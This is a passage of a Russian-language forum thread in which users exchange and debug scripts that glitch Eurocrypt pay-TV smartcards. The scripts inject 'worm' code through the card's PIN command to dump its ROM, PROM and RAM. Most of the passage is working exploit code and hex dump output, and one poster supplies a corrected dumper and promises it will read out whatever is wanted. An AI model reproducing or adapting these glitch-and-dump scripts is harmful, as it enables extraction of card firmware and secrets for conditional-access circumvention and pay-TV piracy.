Значит, если перед буфером для виря лежат нули, то в начало
вируса хорошо ставить FE FE для синхронизации выката.
Сказали Спасибо: balton, Sergio, skad163, lift-man, Robin-Hood, stefanvl
Жалоба 178.19.253.189

#### stefanvl

- Прохожий
- 35
- 32 раза

##### Иформация о Eurocrypt (помните такое?)

« Ответ #356: Пятница 21 Января 2022, 21:58:19 »
Первый тест:
Код: [Выделить]

'Ec-M 3F672F0011140001689000
Dim N 'Чтобы N была глобальной переменной
Sub Main()
Sc.Write("B0 FF")
For HI=0 To &hFF
For LO=0 To &hFF
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FF 9D 9D 9D 1E 08 C6 1635 CD 1DE1 20 F6 00") 'Worm as PIN
Sc.Write("20" & H(HI,2) & H(LO,2) & "0A BF 00"):RX
If N>&h20 Then Halt 'Точка глитча найдена, стоп
Next
Next
End Sub
Function RX
Sc.Delay(300)
N=Sc.BytesInBuffer
Sc.Read(N)
End Function
Function H(S, L)
H = Right(Hex(S), L)
H = Mid("0000", 1, L-Len(H)) + H
End Function

Результат:
Код: [Выделить]

TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 1E 08 C6 16 35 CD 1D E1 20 F6 00
TX Data : 20 00 F6 0A BF 00
RX Data : 1F 03 25 94 00
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 1E 08 C6 16 35 CD 1D E1 20 F6 00
TX Data : 20 00 F7 0A BF 00
RX Data : 1F 03 25 94 00
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 1E 08 C6 16 35 CD 1D E1 20 F6 00
TX Data : 20 00 F8 0A BF 00
RX Data : 1F 03 25 94 00
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 1E 08 C6 16 35 CD 1D E1 20 F6 00
TX Data : 20 00 F9 0A BF 00
RX Data : 1F 03 25 94 00
TX Data : 05 0E 03 01 8A 00
RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
TX Data : FE FF 9D 9D 9D 1E 08 C6 16 35 CD 1D E1 20 F6 00
TX Data : 20 00 FA 0A BF 00
RX Data : 20 41 25 55 55 55 55 55 55 55 55 55 55 55 55 55
55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55
55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55
55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55
55 55 55
Script Error on Line 12
Type mismatch: 'Halt'

Я думаю, что мне нужно получить эту работу для остальных, чтобы добиться успеха.

Подумал(a) и добавил(a): Пятница 21 Января 2022, 22:05:05

Второй тест:
Код: [Выделить]

'Ec-M /3F672F0011140001689000/ worm dumper (C) Ethereal
' Tucker-glitcher + UL4S soft, Phase = 3 /CLK phase I&D/
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h1100 To &h19FF
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FF 00 00 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(200)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Результат:
Executing Script: Script File:
Код: [Выделить]

Script Error on Line 16
Sc.GetByte: Requested Byte Exceeds Last Read Request

Подумал(a) и добавил(a): Пятница 21 Января 2022, 22:17:57

Третий тест:
Код: [Выделить]

' Tucker-glitcher + UL4S soft, Phase = 3 /CLK phase I&D/
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h0100 To &h0200
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FE 00 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Результат:
Код: [Выделить]

Executing Script: Script File:
0100 : 33 00 90 00 90 FF 00 90 6A 53 65 A0 78 BB 90 C7
0110 : FF FF F8 04 D6 D4 41 01 90 FF FE 1A 90 90 80 06
0120 : 7E FF FE 90 6C FF 2A B4 DD 55 22 43 F8 A6 90 FF
0130 : 6E 90 0B F1 62 DF 90 90 4D FF 3B 4B 22 A2 FF FF
0140 : 0D FB 4B 90 90 90 90 FF 90 90 AC AC AA BA AD 90
0150 : 90 FF 90 FF 6B EF FF D7 90 90 90 35 DF 90 F8 B9
0160 : B6 B3 B2 B1 90 AB FF FF 6C FF EA 90 B5 38 90 5D
0170 : 31 90 FF 90 6C FE DC 90 16 90 8B B2 17 90 90 FF
0180 : 6E 90 90 90 6C 90 ED 90 50 90 90 04 90 0B FF FF
0190 : 6C 90 71 90 83 34 CD 41 90 FA FF FF 90 FF FF FF
01A0 : FF FF FF FF 90 FF FF 90 66 90 FF 90 66 F3 FF 90
01B0 : 66 FF FF FF 4C FF FF FF FF FF FF FF FF 90 FF FF
01C0 : 00 00 00 00 00 00 90 00 00 00 00 00 00 00 90 00
01D0 : 00 00 00 00 00 90 00 00 00 00 90 90 00 00 90 00
01E0 : 90 00 90 90 00 00 90 00 00 00 00 90 00 90 00 00
01F0 : 00 90 00 90 00 00 00 00 00 00 00 00 90 00 00 90
0200 : 6E
Script Script File: Transmission Completed

Подумал(a) и добавил(a): Пятница 21 Января 2022, 22:23:36

Четвертый тест:
Код: [Выделить]

'Ec-M /3F672F0011140001689000/ worm dumper (C) Ethereal
' Tucker-glitcher + UL4S soft, Phase = 3 /CLK phase I&D/
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h0100 To &h0200
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("00 00 FE 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Результат:
Код: [Выделить]

Executing Script: Script File:
0100 : 33 90 00 00 60 FF 00 00 6A 53 65 90 78 BB E3 90
0110 : FF FF F8 04 D6 D4 41 90 FF FF FE 1A 0F EA 90 90
0120 : 7E FF FE 14 6C FF 90 B4 DD 55 22 43 F8 A6 FF FF
0130 : 6E 00 0B F1 90 90 FF FF 4D 90 3B 4B 22 A2 FF FF
0140 : 90 90 4B 22 A2 FF 90 FF 0C B6 90 90 90 BA 90 FF
0150 : FF FF FF 90 6B EF FF D7 FF EF FD 90 DF 90 F8 B9
0160 : B6 B3 B2 B1 BA AB 90 FF 6C FF EA 90 B5 38 90 5D
0170 : 31 CD FF FF 90 FE DC 52 16 90 90 B2 17 25 FF FF
0180 : 6E 00 0B F0 6C FD ED 82 50 90 08 04 ED 0B 90 FF
0190 : 6C FC 71 90 90 34 90 41 90 90 FF FF 4C 90 FF FF
01A0 : FF FF FF FF FF FF FF 90 66 F0 90 FF 66 90 FF FF
01B0 : 90 FF 90 FF 90 FF 90 90 FF 90 FF FF FF 90 FF FF
01C0 : 00 00 00 90 00 00 00 00 90 00 00 00 00 00 90 00
01D0 : 00 00 90 00 90 00 00 90 00 00 00 00 00 00 00 00
01E0 : 90 00 90 00 00 00 00 90 90 00 00 90 00 00 90 00
01F0 : 00 00 00 00 90 90 00 00 00 90 00 90 90 00 00 00
0200 : 6E
Script Script File: Transmission Completed

Подумал(a) и добавил(a): Пятница 21 Января 2022, 22:27:38

Пятый тест:
Код: [Выделить]

'Ec-M /3F672F0011140001689000/ worm dumper (C) Ethereal
' Tucker-glitcher + UL4S soft, Phase = 3 /CLK phase I&D/
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h0100 To &h01B0
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("00 FE FE 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN
Sc.Write("20 00 53 0A 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(350)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Результат:
Код: [Выделить]

Executing Script: Script File:
0100 : 33 00 90 90 60 FF 00 00 6A 53 65 A0 90 BB E3 C7
0110 : 90 FF F8 90 D6 90 90 01 FF FF FE 1A 0F EA 90 06
0120 : 7E FF 90 14 6C FF 90 B4 DD 55 22 90 F8 A6 FF FF
0130 : 6E 00 0B F1 62 DF 90 FF 4D FF 3B 4B 22 90 90 FF
0140 : 0D 90 90 22 A2 FF 90 FF 90 B6 90 90 AA BA AD FF
0150 : 90 FF FF FF 90 EF FF D7 FF EF FD 35 DF EE 90 B9
0160 : B6 B3 90 B1 90 AB FF FF 6C 90 90 90 B5 38 EA 5D
0170 : 31 CD FF 90 6C FE DC 52 16 B8 8B B2 90 90 FF FF
0180 : 6E 00 90 F0 6C FD 90 82 50 C1 08 04 90 90 FF FF
0190 : 6C FC 71 5B 90 90 CD 41 AE FA 90 90 90 FF FF FF
01A0 : 90 FF 90 FF FF 90 FF FF 90 F0 FF 90 66 F3 FF FF
01B0 : 66
Script Script File: Transmission Completed

- Спасибо
Сказали Спасибо: scorpion, lift-man, Robin-Hood
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #357: Пятница 21 Января 2022, 23:20:02 »
Че-то я смысла тестов кроме первого не понял. Какие выводы из них можно сделать ?

Подумал(a) и добавил(a): Пятница 21 Января 2022, 23:22:12

Из первого теста
Цитата(stefanvl от Пятница 21 Января 2022, 21:58:19)

> TX Data : 05 0E 03 01 8A 00
> RX Data : 05 0B 3F 67 2F 00 11 14 00 01 68 90 00
> TX Data : 20 0E 03 C4 CA 24 01 00 10 80 CF
> TX Data : FE FF 9D 9D 9D 1E 08 C6 16 35 CD 1D E1 20 F6 00
> TX Data : 20 00 FA 0A BF 00
> RX Data : 20 41 25 55 55 55 55 55 55 55 55 55 55 55 55 55
> 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55
> 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55
> 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55
> 55 55 55

Задержка перед удачным глитчем равна 00 FA
Попробуем ею воспользоваться
Код: [Выделить]

'Ec-M 3F672F0011140001689000
Dim N 'Чтобы N была глобальной переменной
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For HI=0 To &h1F
For LO=0 To &hFF
Do
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FE 9D 9D 9D 1E 08 C6" & H(HI,2) & H(LO,2) & "CD 1DE1 20 F6 00") 'Worm as PIN
Sc.Write("20 00FA 0A BF 00"):RX
Loop Until N>&h40
B=Sc.GetByte(3)
If B<>Sc.GetByte(4) Then Halt 'Дополнительная проверка корректности чтения
If (LO And &hF)=0 Then Sc.Print(vbcr & H(HI,2) & H(LO,2) & " :")
Sc.Print(" " & H(B,2))
Next
Next
End Sub
Function RX
Sc.Delay(300)
N=Sc.BytesInBuffer
Sc.Read(N)
End Function
Function H(S, L)
H = Right(Hex(S), L)
H = Mid("0000", 1, L-Len(H)) + H
End Function

Подумал(a) и добавил(a): Пятница 21 Января 2022, 23:41:49

Цитата(stefanvl от Пятница 21 Января 2022, 21:58:19)

> Я думаю, что мне нужно получить эту работу для остальных, чтобы добиться успеха.

Скрипт выше. 99.999999% он что надо тебе вычитает.

Подумал(a) и добавил(a): Пятница 21 Января 2022, 23:44:39

Этот скрипт с
Код: [Выделить]

Sc.Write("FE FE 9D 9D 9D 1E 08 C6" & H(HI,2) & H(LO,2) & "CD 1DE1 20 F6 00") 'Worm as PIN

вычитает 1-ю страницу ROM и 0-ю PROM. А вот так
Код: [Выделить]

Sc.Write("FE FE 9D 9D 9D 1E 09 C6" & H(HI,2) & H(LO,2) & "CD 1DE1 20 F6 00") 'Worm as PIN

вычитает 0-ю страницу ROM и 1-ю PROM. Вот и все вычитывание.
Сказали Спасибо: scorpion, lift-man, Robin-Hood, stefanvl
Жалоба 178.19.253.189

#### stefanvl

- Прохожий
- 35
- 32 раза

##### Иформация о Eurocrypt (помните такое?)

« Ответ #358: Пятница 21 Января 2022, 23:47:51 »
Спасибо за помощь! Я проверил это, это выглядит хорошо, но остановилось. Есть ли что-то, что мне нужно или можно отредактировать? Может быть, Sc.Delay(350)? Я запускал код 3 раза, и он всегда останавливался на 00B0.
Код: [Выделить]

'Ec-M 3F672F0011140001689000
Dim N
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For HI=0 To &h1F
For LO=0 To &hFF
Do
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FE FE 9D 9D 9D 1E 08 C6" & H(HI,2) & H(LO,2) & "CD 1DE1 20 F6 00") 'Worm as PIN
Sc.Write("20 00FA 0A BF 00"):RX
Loop Until N>&h40
B=Sc.GetByte(3)
If B<>Sc.GetByte(4) Then Halt
If (LO And &hF)=0 Then Sc.Print(vbcr & H(HI,2) & H(LO,2) & " :")
Sc.Print(" " & H(B,2))
Next
Next
End Sub
Function RX
Sc.Delay(300)
N=Sc.BytesInBuffer
Sc.Read(N)
End Function
Function H(S, L)
H = Right(Hex(S), L)
H = Mid("0000", 1, L-Len(H)) + H
End Function

Результат:
Код: [Выделить]

Executing Script: Script File:
0000 : 01 0F 02 03 04 00 06 07 CF 07 0A 0B 0C 0D 0E 0F
0010 : 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F
0020 : 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F
0030 : 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F
0040 : 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F
0050 : 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F
0060 : 60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F
0070 : 70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F
0080 : 24 00 00 00 01 25 01 00 10 41 00 00 00 00 78 00
0090 : 00 01 0D A2 00 0E 3E C6 01 C0 81 FF F4 0F A2 FF
00A0 : F4 0F B3 FF 00 03 00 00 00 00 00 00 00 00 00 00
00B0 : 00 00 00 00 00
Script Error on Line 16
Type mismatch: 'Halt'

Сказали Спасибо: Ethereal
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #359: Пятница 21 Января 2022, 23:54:37 »
Вот это в скрипте
Код: [Выделить]

If B<>Sc.GetByte(4) Then Halt 'Дополнительная проверка корректности чтения

замени на
Код: [Выделить]

If (HI>0) And (B<>Sc.GetByte(4)) Then Halt 'Дополнительная проверка корректности чтения

Т.е. проверку корректности чтения для ОЗУ не делать. В ОЗУ ведь переменные,
между первым чтением и вторым чтением одного и того-же байта они могут
измениться. Проверку будем делать только для ROM и PROM где данные
должны быть неизменны.
Сказали Спасибо: stefanvl
Жалоба 178.19.253.189

Страницы: « 1 ... 34 35 36 37 38 ... 44 » Вверх
« предыдущая тема следующая тема »
Перейти в:

### Кто онлайн

Просматривают тему:
Ethereal и 1 Гость

### Быстрый ответ

В быстром ответе можно использовать BB-теги и смайлы.

Предупреждение: в данной теме не было сообщений более 120 дней.
Если не уверены, что хотите ответить, то лучше создайте новую тему.

- Базовые
- Дополнительные

[дополнительные смайлы]
Ошибка во время нажатия Спасибо
Спасибо...

Загружается...